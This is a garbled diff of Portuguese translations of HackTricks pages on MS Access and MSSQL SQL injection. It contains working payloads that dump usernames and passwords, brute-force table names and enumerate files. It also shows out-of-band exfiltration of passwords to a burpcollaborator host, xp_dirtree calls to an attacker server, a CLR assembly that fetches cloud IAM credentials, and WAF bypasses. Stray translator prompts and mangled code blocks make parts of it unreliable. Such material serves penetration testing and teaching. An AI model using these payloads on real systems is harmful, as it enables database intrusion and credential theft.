O operador **`LIMIT`** **não é implementado**. No entanto, é possível limitar os resultados da consulta SELECT para **os primeiros N registros da tabela usando o operador `TOP`**. `TOP` aceita como argumento um inteiro, representando o número de linhas a serem retornadas.
|
O operador **`LIMIT`** **não é implementado**. No entanto, é possível limitar os resultados da consulta SELECT para as **primeiras N linhas da tabela usando o operador `TOP`**. `TOP` aceita como argumento um número inteiro, representando o número de linhas a serem retornadas.
|
||||||
```sql
|
```sql
|
||||||
1' UNION SELECT TOP 3 attr FROM table%00
|
1' UNION SELECT TOP 3 attr FROM table%00
|
||||||
```
|
```
|
||||||
Assim como o **`TOP`**, você pode usar **`LAST`**, que obterá as **linhas a partir do final**.
|
Assim como o **`TOP`**, você pode usar o **`LAST`** que irá obter as **linhas do final**.
|
||||||
|
|
||||||
## Consultas UNION/Subconsultas
|
## Consultas de UNIÃO/Subconsultas
|
||||||
|
|
||||||
Em um SQLi, geralmente você vai querer executar uma nova consulta para extrair informações de outras tabelas. O MS Access sempre exige que em **subconsultas ou consultas extras seja indicado um `FROM`**.\
|
Em um SQLi, você geralmente desejará de alguma forma executar uma nova consulta para extrair informações de outras tabelas. O MS Access sempre requer que em **subconsultas ou consultas extras seja indicado um `FROM`**. Portanto, se você deseja executar um `UNION SELECT` ou `UNION ALL SELECT` ou um `SELECT` entre parênteses em uma condição, você sempre **precisa indicar um `FROM` com um nome de tabela válido**. Portanto, você precisa saber um **nome de tabela válido**.
|
||||||
Portanto, se você deseja executar um `UNION SELECT` ou `UNION ALL SELECT` ou um `SELECT` entre parênteses em uma condição, você sempre **precisa indicar um `FROM` com um nome de tabela válido**.\
|
|
||||||
Por isso, você precisa conhecer um **nome de tabela válido**.
|
|
||||||
```sql
|
```sql
|
||||||
-1' UNION SELECT username,password from users%00
|
-1' UNION SELECT username,password from users%00
|
||||||
```
|
```
|
||||||
### Encadeamento de igualdades + Substring
|
### Encadeando equals + Substring
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Isso permitirá que você exfiltre valores da tabela atual sem precisar conhecer o nome da tabela.
|
Isso permitirá que você exfiltre valores da tabela atual sem precisar saber o nome da tabela.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**MS Access** permite uma **sintaxe estranha** como **`'1'=2='3'='asd'=false`**. Como geralmente a injeção SQL estará dentro de uma cláusula **`WHERE`**, podemos abusar disso.
|
O **MS Access** permite uma **sintaxe estranha** como **`'1'=2='3'='asd'=false`**. Como geralmente a injeção de SQL estará dentro de uma cláusula **`WHERE`**, podemos abusar disso.
|
||||||
|
|
||||||
Imagine que você tenha uma SQLi em um banco de dados MS Access e você sabe (ou supõe) que um **nome de coluna é username**, e esse é o campo que você deseja **exfiltrar**. Você poderia verificar as diferentes respostas do aplicativo web quando a técnica de encadeamento de igualdades é usada e potencialmente exfiltrar conteúdo com uma **injeção booleana** usando a função **`Mid`** para obter substrings.
|
Imagine que você tenha uma injeção de SQL em um banco de dados MS Access e saiba (ou tenha adivinhado) que um **nome de coluna é username**, e esse é o campo que você deseja **exfiltrar**. Você pode verificar as diferentes respostas do aplicativo da web quando a técnica de encadeamento de equals é usada e potencialmente exfiltrar conteúdo com uma **injeção booleana** usando a função **`Mid`** para obter substrings.
|
||||||
```sql
|
```sql
|
||||||
'=(Mid(username,1,3)='adm')='
|
'=(Mid(username,1,3)='adm')='
|
||||||
```
|
```
|
||||||
Se você conhece o **nome da tabela** e **coluna** para extrair, pode usar uma combinação entre `Mid`, `LAST` e `TOP` para **vazar todas as informações** via SQLi booleano:
|
Se você conhece o **nome da tabela** e **coluna** para fazer dump, você pode usar uma combinação entre `Mid`, `LAST` e `TOP` para **vazar todas as informações** via SQLi booleano:
|
||||||
```sql
|
```sql
|
||||||
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
||||||
```
|
```
|
||||||
_Sinta-se à vontade para verificar isso no playground online._
|
_Sinta-se à vontade para verificar isso no playground online._
|
||||||
|
|
||||||
### Força bruta em nomes de tabelas
|
### Forçando Nomes de Tabelas
|
||||||
|
|
||||||
Usando a técnica de encadeamento de igualdades, você também pode **forçar a descoberta de nomes de tabelas** com algo como:
|
Usando a técnica de encadeamento de iguais, você também pode **forçar nomes de tabelas** com algo como:
|
||||||
```sql
|
```sql
|
||||||
'=(select+top+1+'lala'+from+<table_name>)='
|
'=(select+top+1+'lala'+from+<table_name>)='
|
||||||
```
|
```
|
||||||
Você também pode usar um método mais tradicional:
|
O seguinte é conteúdo de um livro sobre técnicas de hacking. O seguinte conteúdo é do arquivo pentesting-web/sql-injection/ms-access-sql-injection.md.
|
||||||
|
|
||||||
|
Translate the relevant English text to Portuguese and return the translation keeping excatly the same markdown and html syntax.
|
||||||
```sql
|
```sql
|
||||||
-1' AND (SELECT TOP 1 <table_name>)%00
|
-1' AND (SELECT TOP 1 <table_name>)%00
|
||||||
```
|
```
|
||||||
_Sinta-se à vontade para verificar isso no playground online._
|
_Sinta-se à vontade para verificar isso no playground online._
|
||||||
|
|
||||||
* Nomes comuns de tabelas Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
* Nomes comuns de tabelas do Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||||
* Há outra lista em [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
* Há outra lista em [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||||
|
|
||||||
### Força Bruta em Nomes de Colunas
|
### Forçando Nomes de Colunas
|
||||||
|
|
||||||
Você pode **forçar bruta nos nomes atuais das colunas** com o truque de encadeamento de igualdades com:
|
Você pode **forçar os nomes das colunas atuais** com o truque de encadeamento de iguais com:
|
||||||
```sql
|
```sql
|
||||||
'=column_name='
|
'=column_name='
|
||||||
```
|
```
|
||||||
|
@ -100,7 +100,7 @@ Ou com um **group by**:
|
||||||
```sql
|
```sql
|
||||||
-1' GROUP BY column_name%00
|
-1' GROUP BY column_name%00
|
||||||
```
|
```
|
||||||
Ou você pode forçar bruscamente os nomes das colunas de uma **tabela diferente** com:
|
Ou você pode fazer força bruta nos nomes das colunas de uma **tabela diferente** com:
|
||||||
```sql
|
```sql
|
||||||
'=(SELECT TOP 1 column_name FROM valid_table_name)='
|
'=(SELECT TOP 1 column_name FROM valid_table_name)='
|
||||||
|
|
||||||
|
@ -108,28 +108,28 @@ Ou você pode forçar bruscamente os nomes das colunas de uma **tabela diferente
|
||||||
```
|
```
|
||||||
### Despejando dados
|
### Despejando dados
|
||||||
|
|
||||||
Já discutimos a [**técnica de encadeamento de iguais**](ms-access-sql-injection.md#chaining-equals-+-substring) **para despejar dados da tabela atual e de outras tabelas**. Mas existem outros métodos:
|
Já discutimos a [**técnica de encadeamento de iguais**](ms-access-sql-injection.md#chaining-equals-+-substring) **para despejar dados das tabelas atuais e de outras**. Mas existem outras maneiras:
|
||||||
```sql
|
```sql
|
||||||
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
||||||
```
|
```
|
||||||
Em resumo, a consulta utiliza uma declaração "se-então" para acionar um "200 OK" em caso de sucesso ou um "500 Erro Interno" caso contrário. Aproveitando o operador TOP 10, é possível selecionar os primeiros dez resultados. O uso subsequente de LAST permite considerar apenas a 10ª tupla. Sobre tal valor, usando o operador MID, é possível realizar uma simples comparação de caracteres. Alterando adequadamente o índice de MID e TOP, podemos extrair o conteúdo do campo "username" para todas as linhas.
|
Resumidamente, a consulta utiliza uma declaração "se-então" para acionar um "200 OK" em caso de sucesso ou um "500 Internal Error" caso contrário. Aproveitando o operador TOP 10, é possível selecionar os primeiros dez resultados. O uso subsequente do LAST permite considerar apenas a 10ª tupla. Com base nesse valor, usando o operador MID, é possível realizar uma simples comparação de caracteres. Alterando adequadamente o índice de MID e TOP, podemos extrair o conteúdo do campo "username" para todas as linhas.
|
||||||
|
|
||||||
### Baseado em Tempo
|
### Baseado em Tempo
|
||||||
|
|
||||||
Verifique [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
|
Consulte [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
|
||||||
|
|
||||||
### Outras Funções Interessantes
|
### Outras Funções Interessantes
|
||||||
|
|
||||||
* `Mid('admin',1,1)` obter substring da posição 1 com comprimento 1 (a posição inicial é 1)
|
* `Mid('admin',1,1)` obter subcadeia a partir da posição 1 com comprimento 1 (posição inicial é 1)
|
||||||
* `LEN('1234')` obter comprimento da string
|
* `LEN('1234')` obter comprimento da string
|
||||||
* `ASC('A')` obter valor ascii do caractere
|
* `ASC('A')` obter valor ASCII do caractere
|
||||||
* `CHR(65)` obter string a partir do valor ascii
|
* `CHR(65)` obter string a partir do valor ASCII
|
||||||
* `IIF(1=1,'a','b')` se então
|
* `IIF(1=1,'a','b')` se então
|
||||||
* `COUNT(*)` Contar número de itens
|
* `COUNT(*)` Contar número de itens
|
||||||
|
|
||||||
## Enumerando tabelas
|
## Enumerando tabelas
|
||||||
|
|
||||||
A partir de [**aqui**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) você pode ver uma consulta para obter nomes de tabelas:
|
A partir [**daqui**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) você pode ver uma consulta para obter os nomes das tabelas:
|
||||||
```sql
|
```sql
|
||||||
select MSysObjects.name
|
select MSysObjects.name
|
||||||
from MSysObjects
|
from MSysObjects
|
||||||
|
@ -139,39 +139,39 @@ and MSysObjects.name not like '~*'
|
||||||
and MSysObjects.name not like 'MSys*'
|
and MSysObjects.name not like 'MSys*'
|
||||||
order by MSysObjects.name
|
order by MSysObjects.name
|
||||||
```
|
```
|
||||||
No entanto, note que é muito típico encontrar Injeções SQL onde você **não tem acesso para ler a tabela `MSysObjects`**.
|
No entanto, observe que é muito comum encontrar Injeções SQL onde **não se tem acesso para ler a tabela `MSysObjects`**.
|
||||||
|
|
||||||
## Acesso ao Sistema de Arquivos
|
## Acesso ao Sistema de Arquivos
|
||||||
|
|
||||||
### Caminho Completo do Diretório Raiz Web
|
### Caminho Completo do Diretório Raiz da Web
|
||||||
|
|
||||||
O conhecimento do **caminho absoluto da raiz web pode facilitar ataques subsequentes**. Se os erros da aplicação não estiverem completamente ocultos, o caminho do diretório pode ser descoberto tentando selecionar dados de um banco de dados inexistente.
|
O conhecimento do **caminho absoluto do diretório raiz da web pode facilitar ataques adicionais**. Se os erros da aplicação não estiverem completamente ocultos, o caminho do diretório pode ser descoberto tentando selecionar dados de um banco de dados inexistente.
|
||||||
|
|
||||||
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
||||||
|
|
||||||
O MS Access responde com uma **mensagem de erro contendo o caminho completo do diretório web**.
|
O MS Access responde com uma **mensagem de erro contendo o caminho completo do diretório da web**.
|
||||||
|
|
||||||
### Enumeração de Arquivos
|
### Enumeração de Arquivos
|
||||||
|
|
||||||
O seguinte vetor de ataque pode ser usado para **inferir a existência de um arquivo no sistema de arquivos remoto**. Se o arquivo especificado existir, o MS Access dispara uma mensagem de erro informando que o formato do banco de dados é inválido:
|
O seguinte vetor de ataque pode ser usado para **inferir a existência de um arquivo no sistema de arquivos remoto**. Se o arquivo especificado existir, o MS Access aciona uma mensagem de erro informando que o formato do banco de dados é inválido:
|
||||||
|
|
||||||
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
||||||
|
|
||||||
Outra forma de enumerar arquivos consiste em **especificar um item database.table**. **Se** o **arquivo especificado existir**, o MS Access exibe uma **mensagem de erro de formato de banco de dados**.
|
Outra maneira de enumerar arquivos consiste em **especificar um item de banco de dados.tabela**. **Se** o **arquivo especificado existir**, o MS Access exibe uma **mensagem de erro de formato de banco de dados**.
|
||||||
|
|
||||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
||||||
|
|
||||||
### Adivinhação do Nome do Arquivo .mdb
|
### Adivinhação do Nome do Arquivo .mdb
|
||||||
|
|
||||||
**O nome do arquivo do banco de dados (.mdb)** pode ser inferido com a seguinte consulta:
|
O **nome do arquivo do banco de dados (.mdb)** pode ser inferido com a seguinte consulta:
|
||||||
|
|
||||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
||||||
|
|
||||||
Onde **name\[i] é um nome de arquivo .mdb** e **realTable é uma tabela existente** dentro do banco de dados. Embora o MS Access sempre dispare uma mensagem de erro, é possível distinguir entre um nome de arquivo inválido e um nome de arquivo .mdb válido.
|
Onde **name\[i] é um nome de arquivo .mdb** e **realTable é uma tabela existente** no banco de dados. Embora o MS Access sempre acione uma mensagem de erro, é possível distinguir entre um nome de arquivo inválido e um nome de arquivo .mdb válido.
|
||||||
|
|
||||||
### Quebrador de Senha .mdb
|
### Quebrador de Senhas .mdb
|
||||||
|
|
||||||
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) é uma utilidade gratuita que pode ser usada para recuperar a senha principal do banco de dados do Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0.
|
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) é uma ferramenta gratuita que pode ser usada para recuperar a senha principal do banco de dados do Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0.
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
|
@ -179,14 +179,14 @@ Onde **name\[i] é um nome de arquivo .mdb** e **realTable é uma tabela existen
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -6,10 +6,10 @@
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -33,7 +33,7 @@ return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
|
||||||
|
|
||||||
As injeções de SQL baseadas em erros geralmente se assemelham a construções como `+AND+1=@@version--` e variantes baseadas no operador «OR». Consultas contendo tais expressões são geralmente bloqueadas por WAFs. Para contornar isso, concatene uma string usando o caractere %2b com o resultado de chamadas de função específicas que disparam um erro de conversão de tipo de dados nos dados procurados.
|
As injeções de SQL baseadas em erros geralmente se assemelham a construções como `+AND+1=@@version--` e variantes baseadas no operador «OR». Consultas contendo tais expressões são geralmente bloqueadas por WAFs. Para contornar isso, concatene uma string usando o caractere %2b com o resultado de chamadas de função específicas que disparam um erro de conversão de tipo de dados nos dados procurados.
|
||||||
|
|
||||||
Alguns exemplos dessas funções:
|
Alguns exemplos de tais funções:
|
||||||
|
|
||||||
* `SUSER_NAME()`
|
* `SUSER_NAME()`
|
||||||
* `USER_NAME()`
|
* `USER_NAME()`
|
||||||
|
@ -69,7 +69,7 @@ EXEC sp_helprotect 'fn_xe_file_target_read_file';
|
||||||
```
|
```
|
||||||
### `fn_get_audit_file`
|
### `fn_get_audit_file`
|
||||||
|
|
||||||
Requer permissão **`CONTROL SERVER`**.
|
Requer permissão de **`CONTROL SERVER`**.
|
||||||
```
|
```
|
||||||
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
|
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
|
||||||
```
|
```
|
||||||
|
@ -105,7 +105,7 @@ DECLARE @user varchar(100);
|
||||||
SELECT @user = (SELECT user);
|
SELECT @user = (SELECT user);
|
||||||
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
|
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
|
||||||
```
|
```
|
||||||
É importante notar que este método pode não funcionar em todas as configurações de sistema, como no `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` em execução em um `Windows Server 2016 Datacenter` com configurações padrão.
|
É importante notar que este método pode não funcionar em todas as configurações de sistema, como no `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` em execução em um `Windows Server 2016 Datacenter` com as configurações padrão.
|
||||||
|
|
||||||
Além disso, existem procedimentos armazenados alternativos como `master..xp_fileexist` e `xp_subdirs` que podem alcançar resultados semelhantes. Mais detalhes sobre `xp_fileexist` podem ser encontrados neste [artigo do TechNet](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).
|
Além disso, existem procedimentos armazenados alternativos como `master..xp_fileexist` e `xp_subdirs` que podem alcançar resultados semelhantes. Mais detalhes sobre `xp_fileexist` podem ser encontrados neste [artigo do TechNet](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).
|
||||||
|
|
||||||
|
@ -122,7 +122,7 @@ Obviamente, você também pode usar **`xp_cmdshell`** para **executar** algo que
|
||||||
|
|
||||||
Criar uma UDF CLR (Função Definida pelo Usuário de Tempo de Execução Comum), que é um código desenvolvido em qualquer linguagem .NET e compilado em um DLL, para ser carregado dentro do MSSQL para executar funções personalizadas, é um processo que requer acesso `dbo`. Isso significa que geralmente é viável apenas quando a conexão com o banco de dados é feita como `sa` ou com uma função de Administrador.
|
Criar uma UDF CLR (Função Definida pelo Usuário de Tempo de Execução Comum), que é um código desenvolvido em qualquer linguagem .NET e compilado em um DLL, para ser carregado dentro do MSSQL para executar funções personalizadas, é um processo que requer acesso `dbo`. Isso significa que geralmente é viável apenas quando a conexão com o banco de dados é feita como `sa` ou com uma função de Administrador.
|
||||||
|
|
||||||
Um projeto do Visual Studio e instruções de instalação são fornecidos neste [repositório do Github](https://github.com/infiniteloopltd/SQLHttp) para facilitar o carregamento do binário no MSSQL como uma montagem CLR, permitindo assim a execução de solicitações HTTP GET de dentro do MSSQL.
|
Um projeto do Visual Studio e instruções de instalação são fornecidos neste [repositório do Github](https://github.com/infiniteloopltd/SQLHttp) para facilitar o carregamento do binário no MSSQL como um assembly CLR, permitindo assim a execução de solicitações HTTP GET de dentro do MSSQL.
|
||||||
|
|
||||||
O cerne dessa funcionalidade está encapsulado no arquivo `http.cs`, que utiliza a classe `WebClient` para executar uma solicitação GET e recuperar o conteúdo, conforme ilustrado abaixo:
|
O cerne dessa funcionalidade está encapsulado no arquivo `http.cs`, que utiliza a classe `WebClient` para executar uma solicitação GET e recuperar o conteúdo, conforme ilustrado abaixo:
|
||||||
```csharp
|
```csharp
|
||||||
|
@ -140,17 +140,17 @@ return new SqlString(html);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Antes de executar o comando SQL `CREATE ASSEMBLY`, é aconselhável executar o seguinte trecho de SQL para adicionar o hash SHA512 da montagem à lista de montagens confiáveis do servidor (visível via `select * from sys.trusted_assemblies;`):
|
Antes de executar o comando SQL `CREATE ASSEMBLY`, é aconselhável executar o seguinte trecho de SQL para adicionar o hash SHA512 da assembly à lista de assemblies confiáveis do servidor (visível através de `select * from sys.trusted_assemblies;`):
|
||||||
```sql
|
```sql
|
||||||
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
|
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
|
||||||
```
|
```
|
||||||
Depois de adicionar com sucesso a assembly e criar a função, o seguinte código SQL pode ser utilizado para realizar solicitações HTTP:
|
Depois de adicionar com sucesso a montagem e criar a função, o seguinte código SQL pode ser utilizado para realizar solicitações HTTP:
|
||||||
```sql
|
```sql
|
||||||
DECLARE @url varchar(max);
|
DECLARE @url varchar(max);
|
||||||
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
|
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
|
||||||
SELECT dbo.http(@url);
|
SELECT dbo.http(@url);
|
||||||
```
|
```
|
||||||
### **Exploração Rápida: Recuperando o Conteúdo Completo de uma Tabela em uma Única Consulta**
|
### **Exploração Rápida: Recuperando o Conteúdo Completo da Tabela em uma Única Consulta**
|
||||||
|
|
||||||
[Truque daqui](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
|
[Truque daqui](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
|
||||||
|
|
||||||
|
@ -190,21 +190,17 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERV
|
||||||
Non-standard whitespace characters: %C2%85 или %C2%A0:
|
Non-standard whitespace characters: %C2%85 или %C2%A0:
|
||||||
|
|
||||||
```
|
```
|
||||||
### MSSQL Injection
|
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
|
||||||
|
|
||||||
#### Técnica de Injeção MSSQL
|
|
||||||
|
|
||||||
A seguinte URL é um exemplo de uma tentativa de injeção SQL em um banco de dados MSSQL:
|
|
||||||
|
|
||||||
`https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--`
|
|
||||||
```
|
```
|
||||||
|
|
||||||
Scientific (0e) and hex (0x) notation for obfuscating UNION:
|
Scientific (0e) and hex (0x) notation for obfuscating UNION:
|
||||||
|
|
||||||
```
|
```
|
||||||
- **Injeção de SQL MSSQL**
|
```plaintext
|
||||||
- **Descrição:** Essas solicitações estão tentando explorar uma vulnerabilidade de injeção de SQL no MSSQL usando a técnica de Union-Based SQL Injection.
|
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
|
||||||
- **Recomendação:** Para mitigar esse tipo de ataque, é essencial validar e sanitizar todas as entradas do usuário antes de executar consultas SQL. Além disso, o uso de prepared statements ou ORM pode ajudar a prevenir esse tipo de vulnerabilidade.
|
|
||||||
|
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
|
||||||
|
```
|
||||||
```
|
```
|
||||||
|
|
||||||
A period instead of a whitespace between FROM and a column name:
|
A period instead of a whitespace between FROM and a column name:
|
||||||
|
@ -228,8 +224,10 @@ According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-w
|
||||||
SELECT 'a' SELECT 'b'
|
SELECT 'a' SELECT 'b'
|
||||||
```
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
SELECIONAR 'a' SELECIONAR 'b'
|
SELECT 'a' SELECT 'b'
|
||||||
```
|
```
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -248,8 +246,8 @@ drop table[test]
|
||||||
Can be reduced to:
|
Can be reduced to:
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
```sql
|
```plaintext
|
||||||
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
|
Utilize[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
|
||||||
```
|
```
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -290,7 +288,7 @@ Other ways to support HackTricks:
|
||||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
